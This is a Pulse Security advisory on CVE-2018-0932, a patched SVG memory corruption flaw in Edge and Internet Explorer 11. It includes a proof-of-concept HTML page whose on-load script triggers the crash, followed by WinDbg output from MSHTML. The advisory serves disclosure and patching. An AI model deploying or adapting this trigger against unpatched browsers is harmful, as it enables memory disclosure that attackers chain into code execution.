Pulse Security

VULNERABILITY ADVISORY

Title	Microsoft Edge / Internet Explorer SVG Memory Corruption (CVE-2018-0932)
Date Released	14/03/2018
CVE	CVE-2018-0932
Author	Scott Bell
Vendor Website	http://www.microsoft.com/
Affected Software	Microsoft Edge Internet Explorer 11

SUMMARY

A memory corruption vulnerability exists in Microsoft Edge and Internet Explorer. The corruption happens as a result of incorrect handling of SVG attributes. An attacker can use this vulnerability to disclose memory of a victim's machine. Generally, such vulnerability is chained with a Remote Code Execution vulnerability and used to bypass common defenses.

Microsoft fixed this vulnerability in the March 2018 patch cycle. Pulse Security recommends applying the latest updates to mitigate this vulnerability.

PROOF OF CONCEPT

The following HTML can be used to reproduce the vulnerability

HTML

```
<html>
<head>
<meta http-equiv="cache-control" content="max-age=0" />
<meta http-equiv="cache-control" content="no-cache" />
<meta http-equiv="expires" content="0" />
<meta http-equiv="expires" content="Tue, 01 Jan 1980 1:00:00 GMT" />
<meta http-equiv="pragma" content="no-cache" />
<script>
function boom() {
try { svg.addEventListener("DOMAttrModified", remove); } catch(e) { }
try { tspan.dy.baseVal.appendItem(svg.x.baseVal); } catch(e) { }
}
function remove() {
try { tspan.removeAttribute("dy"); } catch(e) { }
}
</script>
</head>
<body onload=boom()>
<svg id="svg">
<tspan id="tspan" />
</svg>
</body>
</html>
```

The following table shows sample debugger output:

WINDBG OUTPUT

```
(e64.12d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0558b5c8 ebx=00000000 ecx=0f972fd8 edx=00000000 esi=0f972fd8 edi=0f972fd8
eip=5b2e6288 esp=0558b580 ebp=0558b5a0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
MSHTML!CCookieDataList<CSVGLength,CUnitValue,CSVGLength>::AddToStore+0x12:
5b2e6288 8b4604          mov     eax,dword ptr [esi+4] ds:0023:0f972fdc=????????
1:018> k
ChildEBP RetAddr
0558b5a0 5b2e623e MSHTML!CCookieDataList<CSVGLength,CUnitValue,CSVGLength>::AddToStore+0x12
0558b5bc 5ba1f62d MSHTML!CCookieDataList<CSVGLength,CUnitValue,CSVGLength>::AppendData+0x1b
0558b5e8 5ba2233a MSHTML!CCookieDataList<CSVGLength,CUnitValue,CSVGLength>::AppendItem+0x50
0558b608 5ba7bc39
MSHTML!CSVGListBase<SVGListTypeTraitsWithDispId<CSVGLengthList,ISVGLengthList,CCookieDataLi
st<CSVGLength,CUnitValue,CSVGLength>,SVGDOMTypeTraits<CSVGLength,ISVGLength,4394> >
>::Internal_appendItem+0x67
0558b624 5ba61a22
MSHTML!CSVGListBase<SVGListTypeTraitsWithDispId<CSVGLengthList,ISVGLengthList,CCookieDataLi
st<CSVGLength,CUnitValue,CSVGLength>,SVGDOMTypeTraits<CSVGLength,ISVGLength,4394> >
>::Var_appendItem+0x3e
0558b650 5a4e2bba MSHTML!CFastDOM::CSVGLengthList::Trampoline_appendItem+0x42
```